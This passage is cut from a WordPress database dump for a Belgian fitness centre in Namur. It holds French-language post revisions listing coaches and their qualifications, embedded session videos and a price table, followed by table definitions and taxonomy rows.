&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n        &lt;li&gt;Formation Personal Trainer (Parnasse)&lt;/li&gt;\r\n	&lt;li&gt;Formation Les mills Coach BodyBoxe&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2015-04-21 09:46:39', '2015-04-21 09:46:39', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(480, 1, '2015-04-21 09:40:45', '2015-04-21 09:40:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2015-04-21 09:40:45', '2015-04-21 09:40:45', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(484, 1, '2015-04-21 10:03:23', '2015-04-21 10:03:23', '', 'map', '', 'inherit', 'open', 'open', '', 'map', '', '', '2015-04-21 10:03:23', '2015-04-21 10:03:23', '', 0, 'http://www.crosstrainingcenter.be/wp-content/uploads/2015/04/map.png', 0, 'attachment', 'image/png', 0),
(485, 1, '2015-04-22 07:38:04', '2015-04-22 07:38:04', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n\n&lt;div align=\&quot;center\&quot;&gt;\n\nPrésentation du Cross Training Namur\n\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\n\n&lt;/div&gt;\n\n&lt;/div&gt;&lt;/td&gt;\n\n&lt;/tr&gt;\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-autosave-v1', '', '', '2015-04-22 07:38:04', '2015-04-22 07:38:04', '', 369, 'http://www.crosstrainingcenter.be/369-autosave-v1/', 0, 'revision', '', 0),
(486, 1, '2015-04-22 07:38:29', '2015-04-22 07:38:29', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/_os-BkWwGKU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/v=dgKynOMF_HI\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-revision-v1', '', '', '2015-04-22 07:38:29', '2015-04-22 07:38:29', '', 369, 'http://www.crosstrainingcenter.be/369-revision-v1/', 0, 'revision', '', 0),
(487, 1, '2015-04-22 07:39:30', '2015-04-22 07:39:30', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/_os-BkWwGKU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/dgKynOMF_HI\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-revision-v1', '', '', '2015-04-22 07:39:30', '2015-04-22 07:39:30', '', 369, 'http://www.crosstrainingcenter.be/369-revision-v1/', 0, 'revision', '', 0),
(490, 3, '2015-09-02 17:07:45', '2015-09-02 17:07:45', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;\n\n\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nEntrainements à deux personnes sous la supervision d’un coach.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nUn coach par personne, l’idéal pour progresser plus rapidement!\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nRendez-vous avec une diététicienne pour améliorer votre santé.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\n30 min : 35.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\n30 min : 20.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\n1 carte de 10 séances : 90.00€ (valable 6 mois)\n1 carte de 20 séances : 150.00€ (valable 6 mois)\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-autosave-v1', '', '', '2015-09-02 17:07:45', '2015-09-02 17:07:45', '', 363, 'http://www.crosstrainingcenter.be/363-autosave-v1/', 0, 'revision', '', 0),
(491, 3, '2015-09-02 16:56:52', '2015-09-02 16:56:52', '', 'Capture d’écran 2015-09-02 à 18.56.23', '', 'inherit', 'open', 'open', '', 'capture-decran-2015-09-02-a-18-56-23', '', '', '2015-09-02 16:56:52', '2015-09-02 16:56:52', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/Capture-d’écran-2015-09-02-à-18.56.23.png', 0, 'attachment', 'image/png', 0),
(497, 3, '2015-09-02 17:07:48', '2015-09-02 17:07:48', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;\r\n\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 17:07:48', '2015-09-02 17:07:48', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);

-- --------------------------------------------------------

--
-- Structure de la table `www2_post_relationships`
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) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `www2_slideshow_plugin`
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CREATE TABLE `www2_slideshow_plugin` (
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  `thumbnail_url` varchar(1024) NOT NULL,
  `url` varchar(1024) NOT NULL,
  `slideshow_name` varchar(1024) DEFAULT 'default',
  `link` varchar(1024) NOT NULL DEFAULT 'http://',
  `description` varchar(5120) NOT NULL,
  `position` int(11) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `www2_termmeta`
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CREATE TABLE `www2_termmeta` (
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  `term_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
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  `meta_value` longtext
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `www2_terms`
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CREATE TABLE `www2_terms` (
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  `name` varchar(200) NOT NULL DEFAULT '',
  `slug` varchar(200) NOT NULL DEFAULT '',
  `term_group` bigint(10) NOT NULL DEFAULT '0'
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--
-- Déchargement des données de la table `www2_terms`
--

INSERT INTO `www2_terms` (`term_id`, `name`, `slug`, `term_group`) VALUES
(1, 'Uncategorized', 'uncategorized', 0),
(2, 'Navigation', 'navigation', 0),
(3, 'test', 'test', 0);

-- --------------------------------------------------------

--
-- Structure de la table `www2_term_relationships`
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CREATE TABLE `www2_term_relationships` (
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) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_term_relationships`
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INSERT INTO `www2_term_relationships` (`object_id`, `term_taxonomy_id`, `term_order`) VALUES
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(16, 2, 0),
(15, 2, 0),
(14, 2, 0),
(24, 2, 0),
(25, 2, 0),
(150, 4, 0),
(150, 3, 0),
(148, 4, 0),
(148, 3, 0),
(371, 2, 0),
(471, 2, 0);

-- --------------------------------------------------------

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-- Structure de la table `www2_term_taxonomy`
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CREATE TABLE `www2_term_taxonomy` (
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  `description` longtext NOT NULL,
